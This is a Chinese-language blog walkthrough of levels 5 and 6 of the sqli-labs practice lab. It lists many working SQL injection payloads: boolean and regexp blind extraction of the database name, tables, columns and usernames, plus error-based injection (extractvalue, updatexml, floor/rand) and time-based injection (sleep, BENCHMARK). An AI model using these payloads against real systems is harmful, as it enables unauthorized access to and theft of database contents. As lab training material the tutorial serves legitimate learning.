sqli-labs第五六关

这几关为盲注会有些复杂,请耐心观看(运行正确的时候只返回you are in...)

Less-5(GET - Double Injection - Single Quotes - String)

手工注入

闭合方式判断

?id=1'

两个单引号闭合,想来猜测一下数据库的版本信息

?id=1' and left(version(),1)=5 --+

修改left(version(),1)中的1(让他递增,我们可以拿到版本号的信息为5.5.53)

查看数据库(由于没有回显就没有回显位)

先看数据库的长度
?id=1' and length(database())=8 --+

不断尝试就可以猜出来长度为8

爆破数据库
利用’=‘直接猜

知道长度之后我们就能方便的去猜测范围

?id=1' and left(database(),1)='s' --+

注:此处的left(database(),1)=‘s'(1要递增,而后面等于的字符串的输入是要附带前面的正确的结果

接下来慢慢爆破就可以,才出来就可以知道database是security

利用二分法猜测

二分法建议直接使用ascii编码直接解决

直接在left前面加上substr()或者ascii()就可以

爆破表名

本来是想所有的方法都要写的,相遇篇幅太长就没写,这里就用substr()和ascii()的用法,来解决问题,后面的方法前面都可以使用,一定要看到最后

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

注:此处的table_schema是security是一样的,第一个字符就完成了,同理第二个字符就要关注到substr()这个函数

(3条消息) sql注入盲注基础_himobrinehacken的博客-CSDN博客

这里有讲解,不懂的记得去看我们直接把substr(.....,2,1)就可以

接下来就是获取第二个表的信息,注意我们使用的是limit0,1,他的的意思就是熊第0个开始,获取第一个,那么第二个就是limit1,1

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+

那么接下来只需要自己慢慢才就可以了

爆破列名

利用regexp获取上个步骤中的users表中的列

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+

这个是选择users表中的列名是否有us**的列

id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

这个我们就能看到数据库里面是有username的存在的,也可以通过这个方法查到其他的列

爆破内容
利用ord()和mid()函数获取users表的内容
?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+

好的我们还是和之前一样重复就可以了

报错注入
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

利用double数字超出范围进行报错注入

?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2, 3 --+

注:反正我没成功到时候在去研究研究(可能是版本的问题)

利用bigint数字类型超出范围进行报错注入

?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

注:反正我没成功到时候在去研究研究(可能是版本的问题)

xpath 函数报错注入

?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+

利用数据的重复性

?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
延时注入

利用 sleep()函数进行

?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

错误的时候会有5秒延时

利用 BENCHMARK()进行延时注

?id=1'UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间

总结

以上是纯手工的方式来解决问题,没有任何脚本软件

自动化脚本

没有区别还是一样的操作方式

(3条消息) sqli-labs第一二关_himobrinehacken的博客-CSDN博客

Less-6(GET - Double Injection - Double Quotes - String)

这一关和上一关没有什么区别只是将’变成“就可以了

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

himobrinehacken

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值